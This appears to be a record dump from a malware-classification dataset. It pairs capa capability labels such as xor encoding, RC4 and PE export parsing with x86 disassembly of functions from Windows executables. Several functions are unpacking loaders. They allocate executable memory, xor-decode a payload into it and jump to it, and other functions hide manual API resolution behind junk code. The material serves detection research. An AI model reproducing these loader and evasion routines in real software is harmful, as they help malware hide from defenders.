joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402ee4
pop dword [ebp - 0x50]
mov eax, 0x2b8f461
add eax, 0xfd873a83
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x6b02519f
sub dword [ebp - 0x60], 0x1cb00c54
mov dword [ebp - 0x5c], 0x2ca3ff51
sub dword [ebp - 0x5c], 0xfa70b30c
mov dword [ebp - 0x58], 0x5f3cd89d
sub dword [ebp - 0x58], 0x12f0946f
mov dword [ebp - 0x54], 0xb738c29
add dword [ebp - 0x54], 0xf48c73d7
lea eax, [ebp - 0x60]
push eax
mov eax, 0x17674e97
sub eax, 0x1726cd93
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x44ea84d
sub dword [ebp - 0x60], 0x8fdc3ef7
mov dword [ebp - 0x5c], 0xe4b55ecf
add dword [ebp - 0x5c], 0x5cb702a6
mov dword [ebp - 0x58], 0xd4f11c4b
add dword [ebp - 0x58], 0x8e7e5021
mov dword [ebp - 0x54], 0xbcc6609b
sub dword [ebp - 0x54], 0xbcc6609b
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3847f
push 0
call eax
mov ecx, 0x1cdbf0e5
sub ecx, 0x1cdba3ea
mov edx, eax
mov esi, 0xa4f10cbe
sub esi, 0xa4aa28be
add esi, dword [ebp - 0x50]
mov ebx, 0xc9c1619c
mov edi, dword [esi]
add dword [ebp - 0x30], esi
xor edi, ebx
add dword [ebp - 4], edi
mov dword [edx], edi
sub dword [ebp - 4], edi
add edx, 0xd68017bd
add edx, 0x297fe847
add esi, 4
loop 0x402ffb
add eax, 0x126bf
mov ebx, eax
add eax, 0xb060bf39
sub eax, 0xb060bf34
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x10009dd0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10021e30
push 0x10021880
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10023f34]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ecx
mov ecx, esi
call fcn.10009990
mov ebx, eax
mov dword [ebp - 0x34], ebx
cmp ebx, 0xd
je 0x10009e26
lea ecx, [ebx - 0x10]
cmp ecx, 1
ja 0x10009e2d
mov eax, dword [ebp + 8]
or dword [eax + 0x38], 2
push 0x200
push 0
push dword [0x10025d40]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
jne 0x10009e55
push eax
movzx eax, word [esi + 0xc]
push eax
push ebx
jmp 0x10009f68
mov edx, 0x200
mov ecx, edi
mov esi, 0x10001dd4
sub esi, edi
lea eax, [edx + 0x7ffffdfe]
test eax, eax
je 0x10009e7c
mov al, byte [esi + ecx]
test al, al
je 0x10009e7c
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10009e63
test edx, edx
jne 0x10009e81
dec ecx
mov byte [ecx], 0
mov ecx, edi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009e90
sub ecx, edx
movzx esi, cx
mov dword [ebp - 0x30], esi
mov eax, 0x200
sub eax, esi
movzx ebx, ax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
movzx ecx, word [edx + 0xc]
movsx eax, bx
push eax
movsx eax, si
add eax, edi
push eax
movsx eax, cx
push eax
push edx
push 4
push 0x11
push dword [ebp + 8]
call fcn.10030dbf
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xfffffffe
jmp 0x10009f02
test eax, eax
je 0x10009f0d
cmp eax, 0x804eeeee
jne 0x10009f28
movsx eax, bx
push eax
movsx eax, si
add eax, edi
push eax
push 0x2330
push dword [0x10025d38]
call dword [sym.imp.USER32.dll_LoadStringA]
mov esi, edi
lea ecx, [esi + 1]
lea ecx, [ecx]
mov al, byte [esi]
inc esi
test al, al
jne 0x10009f30
sub esi, ecx
je 0x10009f58
jmp 0x10009f40
movzx eax, byte [edi + esi - 1]
push eax
call dword [sym.imp.msvcrt.dll_isspace]
add esp, 4
test eax, eax
je 0x10009f58
sub esi, 1
jne 0x10009f40
mov byte [esi + edi], 0
push edi
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0xc]
push eax
push dword [ebp - 0x34]
push 0
push 0
xor edx, edx
mov ecx, dword [ebp - 0x20]
call fcn.10009cc0
add esp, 0x14
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10021ac0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x10021afe
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x10021af6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x10021b00
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x10021ae6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10021bd0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10021be6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x10021c01
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x1002b2f9
Capabilities:
Encode data using xor

Disassembly:
call 0x1002b272
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1002b2a2
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1002b2be
xor edx, 0
jmp 0x1002b2c9
xor edx, edx
jmp 0x1002b2e0
jmp 0x1002b2ec
xor eax, eax
push 0x8427d7c0
call 0x1002b2f9
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1002b335
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1002b30e
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1002b34c
add eax, 0
jno 0x1002b351
add esi, 0
ret 0x10
Function at 0x1002c0ba
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1002c0dc
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1002c27e
cmp edi, dword [ebp + 0x10]
jb 0x1002c27e
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1002bba6
inc edi
jmp 0x1002c165
jmp 0x1002c172
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1002bba6
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1002bba6
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1002c1c6
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1002c1aa
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1002c1f4
add dword [eax], 0x39
jle 0x1002c1d0
sub al, 0xf5
mov ch, al
call fcn.1002c209
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1002dee1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1002def7
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1002df08
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1002df49
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100302b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100301fe
add ebx, 0
push ecx
call 0x10030213
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x14ffb246
sub ebx, dword [0x1501aa85]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x1501aa75
call fcn.1002bcdd
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1002b1eb
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x10030371
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x10030371
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10030328
mov eax, 1
lock xchg dword [0x1501aa81], eax
push 0x3dd1fc71
call 0x100302b5
push esi
add esp, 8
cmp eax, 0
jne 0x1003029e
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100302c4
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100302d9
cmp ecx, edx
cmp eax, 0
je 0x100302fe
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100302e8
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10030317
dec eax
loope 0x1003031a
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x1501aa81], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1003034e
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x10030363
jmp 0x1003036e
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1003025c
Function at 0x100373d6
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100376ac
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x150076f9
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x14ffe6bf
push 0xffffffffffffffff
call fcn.1002e5d6
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10037440
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10037458
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100376a0
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x10037674
Function at 0x10046ea6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10046ec8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10046ec8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10046ec8
ret
cmp word [ebx + 4], 0x14c
jne 0x10046ec8
test word [ebx + 0x16], 2
je 0x10046ec8
test word [ebx + 0x16], 0x100
je 0x10046ec8
cmp word [ebx + 0x18], 0x10b
jne 0x10046ec8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10046ec8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10046f54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10046ee8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1002de33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10046ec8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10046f54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10046ec8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10046ec8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10046ec8
ret
cmp word [ebx + 4], 0x14c
jne 0x10046ec8
test word [ebx + 0x16], 2
je 0x10046ec8
test word [ebx + 0x16], 0x100
je 0x10046ec8
cmp word [ebx + 0x18], 0x10b
jne 0x10046ec8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10046ec8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10046f54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10046ee8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1002de33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10046ec8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1004700b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10047064
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004700b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004701a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1044ccbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004706b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1002dee1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004710a
add edi, 4
add eax, 2
dec ecx
jne 0x10047050
call 0x100470b7
loope 0x100470ad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10047107
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10047118
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100470cb
cmp eax, ecx
ja 0x100470cb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10047155
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004714b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1002e3c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1004701a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10047064
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1004700b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1004701a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1044ccbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1004706b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1002dee1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1004710a
add edi, 4
add eax, 2
dec ecx
jne 0x10047050
call 0x100470b7
loope 0x100470ad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10047107
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10047118
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100470cb
cmp eax, ecx
ja 0x100470cb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10047155
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1004714b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1002e3c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x40e4bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
mov byte [ebp - 4], 0x13
mov byte [ebp - 3], 0x35
mov byte [ebp - 2], 0x86
mov byte [ebp - 1], 7
call dword [0x42816c]
mov ebx, eax
push ebx
call 0x428768
mov esi, eax
pop ecx
test esi, esi
je 0x40e50d
xor edx, edx
test ebx, ebx
jbe 0x40e50d
sub edi, esi
mov eax, edx
lea ecx, [edx + esi]
and eax, 3
mov al, byte [ebp + eax - 4]
xor al, byte [edi + ecx]
inc edx
cmp edx, ebx
mov byte [ecx], al
jb 0x40e4f7
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41f175
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov eax, edx
dec edx
test eax, eax
je 0x41f1af
mov eax, dword [ecx + 0x70]
push esi
lea esi, [edx + 1]
mov edx, dword [ebp + 8]
push edi
mov ecx, dword [ebp + 0x10]
movzx edi, byte [edx]
and ecx, 0xff
xor ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 8
mov ecx, dword [eax + ecx*4]
inc edx
xor edi, ecx
dec esi
mov dword [ebp + 0x10], edi
jne 0x41f18d
pop edi
pop esi
mov eax, dword [ebp + 0x10]
pop ebp
ret 0xc
Function at 0x402c4a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
test dword [ebp + 0x10], 0x8000
jne 0x402c94
push 2
push 0
push 0x40000000
push dword [eax]
lea eax, [ebp + 0x10]
push eax
call fcn.00401979
add esp, 0x14
test eax, eax
jl 0x402c94
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 0xc

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409e8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x409e9b
pop dword [ebp - 0x14]
mov eax, 0x409e9b
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xa4f582d0
sub dword [ebp - 0x24], 0x56a33d85
mov dword [ebp - 0x20], 0xc645c867
sub dword [ebp - 0x20], 0x94127c22
mov dword [ebp - 0x1c], 0xad8301de
add dword [ebp - 0x1c], 0x9ec94250
mov dword [ebp - 0x18], 0xed374239
sub dword [ebp - 0x18], 0xed374239
lea eax, [ebp - 0x24]
push eax
mov eax, 0x86f0ce55
add eax, 0x795001ff
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x8302ff84
add dword [ebp - 0x24], 0xf16f69d2
mov dword [ebp - 0x20], 0x6a7afe16
sub dword [ebp - 0x20], 0x290e9ca1
mov dword [ebp - 0x1c], 0x40f30e5d
add dword [ebp - 0x1c], 0x227c5e0f
mov dword [ebp - 0x18], 0x1a516744
add dword [ebp - 0x18], 0xe5ae98bc
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x5878bd73
add eax, 0xa7c812d9
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x36826
push 0
call eax
mov ecx, 0x1ef458f4
add ecx, 0xe10be28a
mov edi, eax
mov edx, 0x629f1032
sub edx, 0x625d6032
add edx, dword [ebp - 0x14]
mov esi, 0x1cee09b4
sub esi, 0xde0c7f04
sub dword [ebp - 0x10], 0x36067e97
mov ebx, dword [edx]
xor dword [ebp - 0x10], ecx
sub ebx, esi
xor dword [ebp - 0x10], 0x1c56cc3b
mov dword [edi], ebx
xor dword [ebp - 0x10], esi
add edi, 4
add edx, 4
loop 0x409fb8
add eax, 0x5dcd5d0
add eax, 0xfa240afb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc2027b9a
add ecx, 0x3e3d8466
add ecx, dword [ebp - 0x14]
call ebx
leave
ret